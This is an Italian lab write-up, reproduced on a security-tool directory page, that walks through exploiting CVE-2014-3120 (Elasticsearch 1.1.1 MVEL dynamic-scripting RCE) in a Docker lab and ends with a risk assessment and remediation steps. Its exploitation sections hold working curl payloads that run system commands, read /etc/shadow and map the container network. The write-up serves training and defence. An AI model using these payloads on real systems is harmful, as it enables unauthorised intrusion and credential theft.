Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2014-3120 | Kitploit
Strumenti/GitHubGitHub/dungsocool/cve-2014-3120
Sicurezza dei ContenitoriAnalisi delle VulnerabilitàExploitPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubdungsocool/cve-2014-3120

CVE-2014-3120

Vedi Repository
2 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

LAB 10-CVE-2014-3120

I. ANALISI DEL SISTEMA

Identificazione della superficie d'attacco dall'ambiente Docker

Partiamo da ciò che è in esecuzione nell'ambiente. Elenchiamo tutti i container attivi:

root@kitploit:~
docker ps

image.png

Risultato: Il container p1/lab10:latest è in esecuzione ed espone 2 porte esternamente:

Mapping delle porteProtocollo
0.0.0.0:9200 → 9200/tcpHTTP (da verificare)
0.0.0.0:9300 → 9300/tcpSconosciuto

Osservazione iniziale: Le porte 9200 e 9300 sono comunemente note come le porte predefinite di Elasticsearch. Tuttavia, non possiamo trarre conclusioni basandoci esclusivamente sui numeri di porta - molti altri servizi possono legarsi a qualsiasi porta.

⇒ Usiamo curl direttamente su ciascuna porta per verificare quale servizio sia effettivamente in esecuzione.

Test della porta 9300

root@kitploit:~
curl -i http://192.168.3.137:9300/

image.png

Analisi della risposta:

  • Risposta: curl: (52) Empty reply from server
  • Header del server: Nessuno - il server non restituisce alcuna risposta HTTP

Valutazione: Il server ha accettato la connessione TCP (nessun rifiuto della connessione), ma non ha risposto utilizzando il protocollo HTTP. Questo corrisponde al comportamento del protocollo Transport di Elasticsearch sulla porta 9300 - un protocollo binario usato per la comunicazione tra i nodi di un cluster, non HTTP.

⇒ Mentalità: La porta 9300 utilizza un protocollo binario → non può essere sfruttata direttamente via curl/browser. Passiamo a controllare la porta 9200 - la porta dell'API REST HTTP.


Test della porta 9200

root@kitploit:~
curl -i http://192.168.3.137:9200/

image.png

Analisi della risposta:

Valutazione della superficie d'attacco:

  • Confermato che si tratta di Elasticsearch 1.1.1 - il servizio restituisce una risposta JSON caratteristica con tutti i dettagli della versione
  • Nessuna autenticazione richiesta - l'API REST risponde direttamente senza richiedere credenziali
  • Elasticsearch 1.1.1 (2014) rientra nell'ambito di impatto di diverse CVE critiche, in particolare CVE-2014-3120 - una vulnerabilità che consente l'esecuzione arbitraria di codice tramite Dynamic Scripting

image.png

⇒ Mentalità: Elasticsearch 1.1.1 abilita Dynamic Scripting per impostazione predefinita - consentendo ai client di inviare script (espressioni MVEL) nelle query di ricerca da eseguire lato server. Senza una sandbox o una validazione adeguata, un attaccante può iniettare uno script dannoso per eseguire comandi di sistema. Passo successivo: verificare se Dynamic Scripting è effettivamente attivo sul target.

Verifica di Dynamic Scripting e del motore MVEL

Cos'è Dynamic Scripting?

Elasticsearch supporta una funzionalità di Scripting - che consente ai client di inviare script (espressioni matematiche o logiche) all'interno delle richieste di ricerca, da eseguire lato server durante l'elaborazione dei risultati. In Elasticsearch 1.x, il motore predefinito per questa funzionalità è MVEL (MVFLEX Expression Language).

Problema di sicurezza principale

Nelle versioni di Elasticsearch precedenti alla 1.2, Dynamic Scripting è abilitato per impostazione predefinita (script.disable_dynamic: false). Questo significa:

  1. L'API REST non richiede autenticazione
  2. I client possono inviare script arbitrari tramite il parametro script_fields nell'API _search
  3. Il motore MVEL non dispone di una sandbox sufficientemente forte - consentendo l'accesso al runtime Java
  4. Gli attaccanti possono invocare java.lang.Runtime.getRuntime().exec() per eseguire comandi di sistema

Come funziona script_fields

Quando viene inviata una richiesta di ricerca con script_fields, Elasticsearch:

  1. Riceve la richiesta JSON tramite l'API _search
  2. Analizza il campo script_fields → trova lo script da eseguire
  3. Valuta lo script usando il motore MVEL
  4. Il motore MVEL ha accesso completo al runtime Java → può invocare qualsiasi classe Java
  5. Restituisce i risultati nella risposta HTTP

Analisi del vettore d'attacco: MVEL → Java Runtime → RCE

In Java, il modo più comune per eseguire un comando di sistema è:

root@kitploit:~
Runtime.getRuntime().exec("command");

MVEL, in quanto linguaggio di espressioni con accesso completo alle classi Java, consente di invocarlo direttamente:

root@kitploit:~
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();

Spiegazione delle singole parti:

⇒ Mentalità: Con Elasticsearch, l'output della RCE viene restituito direttamente nella risposta — senza bisogno di reindirizzarlo su un file e rileggerlo. Questo rende l'exploit più pulito e più rapido da verificare.

II. SFRUTTAMENTO

Conferma che Dynamic Scripting è attivo

Dopo aver identificato il target come Elasticsearch 1.1.1, il passo successivo è verificare se Dynamic Scripting è effettivamente abilitato.

La CVE-2014-3120 sfrutta il fatto che Elasticsearch consente ai client di inviare script all'interno delle richieste _search. Se lo script viene eseguito dal server, un attaccante può sostituire l'espressione innocua con un payload che chiama il Java Runtime per eseguire comandi di sistema.

Per prima cosa, creiamo un documento di test per assicurarci che la query abbia almeno un risultato corrispondente. Se nessun documento corrisponde, script_fields non verrà valutato.

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
  -H 'Content-Type: application/json' \
  -d '{"name":"test"}'

Poi eseguiamo il refresh dell'indice:

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'

Successivamente, inviamo una richiesta _search con script_fields contenente un'espressione MVEL innocua:

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {
      "match_all": {}
    },
    "script_fields": {
      "test": {
        "script": "1+1"
      }
    }
  }'

image.png

Inviamo lo script "1+1" e il server restituisce il risultato 2. Questo dimostra che Elasticsearch non solo riceve la richiesta _search, ma esegue lo script dinamico lato server.

⇒ Dynamic Scripting è attivo sul target.

Poiché il target è Elasticsearch 1.1.1, precedente alla 1.2, questo soddisfa i requisiti di sfruttamento della CVE-2014-3120: Elasticsearch, prima della versione 1.2, abilita Dynamic Scripting per impostazione predefinita, consentendo a un attaccante remoto di eseguire espressioni MVEL/codice Java tramite una richiesta di ricerca.

Individuazione del percorso verso la funzione di esecuzione dei comandi

Abbiamo verificato che script_fields viene eseguito da Elasticsearch lato server tramite l'espressione innocua "1+1", che restituisce [2].

Questo dimostra che il target non solo consente ricerche standard, ma permette anche ai client di inviare uno script MVEL che il server valuta durante l'elaborazione della _search.

Con la CVE-2014-3120, il rischio critico risiede nel fatto che MVEL in Elasticsearch 1.1.1 può accedere alle classi Java. Pertanto, invece di inviare un'espressione matematica come "1+1", un attaccante può inviare uno script che chiama il Java Runtime:

Runtime.getRuntime().exec("command")

Questa è l'API Java standard usata per creare un nuovo processo ed eseguire comandi sul sistema operativo.

Catena d'attacco

root@kitploit:~
_search API
→ script_fields
→ MVEL expression
→ Java Runtime
→ Runtime.getRuntime().exec("command")
→ getInputStream()
→ Scanner reads stdout
→ result returned in the JSON response

Costruzione del payload RCE ed esecuzione

Payload RCE:

root@kitploit:~
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
  "size": 1,
  "query": {
    "filtered": {
      "query": {
        "match_all": {}
      }
    }
  },
  "script_fields": {
    "exploit": {
      "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    }
  }
}'

image.png

Analisi del payload:

Risultato:

La risposta restituisce il campo fields.exploit contenente l'output del comando id:

root@kitploit:~
"exploit": [
  "uid=0(root) gid=0(root) groups=0(root)\n"
]

Analisi:

Il payload ha invocato con successo Runtime.getRuntime().exec("id") tramite lo script MVEL all'interno di script_fields. Il fatto che la risposta restituisca l'output del comando id dimostra che il comando è stato eseguito lato server.

Il risultato uid=0(root) gid=0(root) groups=0(root) indica che il processo Elasticsearch all'interno del container è in esecuzione con privilegi root.

Determinazione dei limiti dei privilegi

Dopo aver confermato la RCE, i privilegi effettivi devono essere verificati tentando di leggere file sensibili:

Lettura di /etc/shadow:

root@kitploit:~
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
  "size": 1,
  "query": {
    "filtered": {
      "query": {
        "match_all": {}
      }
    }
  },
  "script_fields": {
    "shadow_test": {
      "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/shadow\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    }
  }
}'

image.png

Risultato osservato:

La risposta restituisce il contenuto del file /etc/shadow:

root@kitploit:~
root:*:17728:0:99999:7:::
daemon:*:17728:0:99999:7:::
bin:*:17728:0:99999:7:::
...

Analisi:

Il file /etc/shadow è un file di sistema sensibile in Linux, solitamente leggibile solo dall'utente root o da processi con privilegi equivalenti. Nel passaggio precedente, il comando id ha restituito:

uid=0(root) gid=0(root) groups=0(root)

Questo passaggio conferma ulteriormente il comportamento reale: il payload RCE è in grado di leggere con successo /etc/shadow.

⇒ Elasticsearch all'interno del container è in esecuzione con privilegi root.

⇒ L'impatto non è limitato alla tipica esecuzione di comandi, ma è RCE con privilegi root all'interno del container.

Nota: Il privilegio root qui si riferisce a root all'interno del container Docker. Non possiamo concludere che l'attaccante abbia privilegi root sull'host senza evidenze che il container sia eseguito in modalità privilegiata, monti il socket Docker o monti volumi sensibili dell'host.

III. POST-SFRUTTAMENTO

Raccolta di informazioni di sistema

La RCE è confermata. Procediamo a raccogliere informazioni di sistema per valutare la portata.

Elencazione del filesystem root del container

Dopo aver confermato la RCE con privilegi root, eseguiamo il comando ls -la / tramite il payload MVEL per osservare il filesystem all'interno del target:

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {"filtered": {"query": {"match_all": {}}}},
    "script_fields": {
      "rootfs": {
        "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"ls -la /\").getInputStream()).useDelimiter(\"\\\\A\").next();"
      }
    }
  }'

image.png

Risultato: La risposta restituisce il contenuto della directory / nel campo rootfs.

Analisi:

Il fatto che l'output di ls -la / appaia nella risposta JSON dimostra che il comando è stato eseguito sul target tramite RCE. File come docker-entrypoint.sh, la directory elasticsearch e il symlink docker-java-home indicano che l'ambiente compromesso è un container che esegue Elasticsearch.

⇒ L'attaccante può elencare il filesystem all'interno del container con privilegi root.

Verifica della rete — potenziale di pivoting

Poiché il container non dispone del binario /sbin/ifconfig, leggiamo direttamente /proc/net/route. Questo file non richiede utility esterne e fornisce la tabella di routing del container.

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {"filtered": {"query": {"match_all": {}}}},
    "script_fields": {
      "route": {
        "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /proc/net/route\").getInputStream()).useDelimiter(\"\\\\A\").next();"
      }
    }
  }'

image.png

Analisi:

I risultati mostrano che il container ha l'interfaccia eth0 e si trova all'interno della rete Docker 172.19.0.0/16. Il gateway predefinito è 172.19.0.1.

Questo dimostra che il container ha connettività di rete interna tramite il bridge Docker. Poiché l'attaccante ha già RCE con privilegi root all'interno del container, potrebbe teoricamente procedere a ispezionare altri host/servizi nella stessa rete Docker, se le policy di rete lo consentono.

Tuttavia, questo output dimostra solo la visibilità di rete a livello di routing, non un pivot riuscito. Concludere un pivot richiede ulteriori prove, come la scansione riuscita di un altro host, la connessione a un servizio interno o il recupero di risorse da un'altra rete.

IV. VALUTAZIONE DEL RISCHIO E RACCOMANDAZIONI

Valutazione del rischio

Sulla base delle evidenze raccolte durante l'analisi, il target esegue Elasticsearch 1.1.1 sulla porta 9200. Questa versione è precedente alla 1.2, rientrando quindi nell'ambito interessato dalla CVE-2014-3120.

La vulnerabilità deriva dal fatto che Elasticsearch abilita Dynamic Scripting per impostazione predefinita prima della versione 1.2, consentendo ai client di inviare script MVEL tramite richieste di ricerca. In questo lab, la funzionalità è stata confermata funzionante usando l'espressione innocua "1+1", che ha restituito il risultato [2].

Successivamente, il payload MVEL ha invocato:

root@kitploit:~
Runtime.getRuntime().exec("id")

La risposta ha restituito:

root@kitploit:~
uid=0(root) gid=0(root) groups=0(root)

Questo dimostra che un attaccante può eseguire comandi di sistema tramite Elasticsearch. Inoltre, il payload ha letto con successo /etc/shadow, confermando che il privilegio di esecuzione è root all'interno del container.

Raccomandazioni di rimedio

1. Aggiornare Elasticsearch a una versione più recente

Aggiornare Elasticsearch alla versione >= 1.2.0 (minima) o idealmente alla versione attualmente supportata (8.x). A partire dalla versione 1.2, Dynamic Scripting è disabilitato per impostazione predefinita.

2. Disabilitare immediatamente Dynamic Scripting (se l'aggiornamento non è fattibile)

Aggiungere quanto segue a elasticsearch.yml:

root@kitploit:~
script.disable_dynamic: true

Riavviare Elasticsearch dopo questa modifica. Questo disabilita completamente la possibilità per i client di inviare script all'interno delle richieste di ricerca.

3. Non esporre l'API REST di Elasticsearch a reti non fidate

Elasticsearch non dispone di autenticazione predefinita nella versione 1.x. Se deve essere esposto, posizionarlo dietro un reverse proxy con autenticazione o associarlo solo a 127.0.0.1.

Priorità alta

4. Abilitare autenticazione e crittografia

Le versioni moderne di Elasticsearch (7.x+) supportano la sicurezza integrata (autenticazione, TLS). Se si esegue l'aggiornamento, abilitare le funzionalità di sicurezza:

root@kitploit:~
xpack.security.enabled: true
xpack.security.transport.ssl.enabled: true

5. Limitare l'accesso tramite firewall

Consentire solo a IP fidati di accedere alle porte 9200 e 9300. Non esporle a Internet o all'intera rete interna.

6. Eseguire Elasticsearch con un utente a privilegi minimi

Non eseguire Elasticsearch con l'utente root. Creare un utente dedicato elasticsearch con privilegi minimi. Questa è una best practice ufficiale:

Scarica lo strumento
CampoValoreSignificato
name"Rage"Nome del nodo Elasticsearch (nome casuale di un personaggio Marvel - comportamento predefinito delle versioni ES più vecchie)
version.number"1.1.1"Versione estremamente vecchia - rilasciata ad aprile 2014
build_timestamp"2014-04-16T14:27:12Z"Compilato nel 2014
lucene_version"4.7"Lucene 4.7 - vecchio motore di indicizzazione
tagline"You Know, for Search"Frase caratteristica distintiva di Elasticsearch
ParteSpiegazione
import java.io.*Importa le classi Java IO
Runtime.getRuntime()Recupera l'istanza del Java Runtime
.exec("id")Esegue il comando shell id
.getInputStream()Recupera lo stream di output del processo
new Scanner(...).useDelimiter("\\A").next()Legge l'intero output come stringa
ParteScopo
"size": 1Limita il risultato a 1 documento
"query" → "match_all"Corrisponde a tutti i documenti (richiede che nell'indice esista almeno 1 documento)
"script_fields" → "exploit"Definisce un campo calcolato che esegue lo script MVEL
"script": "import java.io.*; ..."Espressione MVEL che esegue il comando id e restituisce l'output
CriterioValutazioneDettagli
CVECVE-2014-3120RCE di Elasticsearch tramite Dynamic Scripting
Servizio interessatoElasticsearchAPI REST esposta sulla porta 9200
Versione1.1.1Precedente alla 1.2, rientra nelle versioni interessate
AutenticazioneNon richiesta nel labL'API REST risponde direttamente, nessuna credenziale richiesta
Condizioni di exploitDynamic Scripting abilitatoConfermato dallo script "1+1" che restituisce [2]
Privilegi acquisitiroot nel containerid restituisce uid=0(root)
ImpattoMolto altoRCE, lettura di file sensibili, elenco del filesystem, raccolta di dettagli utente/rete
AmbitoContainerNessuna evidenza di compromissione dell'host
PivotingPotenziale da verificare ulteriormenteIl container ha una route tramite eth0 nella rete Docker 172.19.0.0/16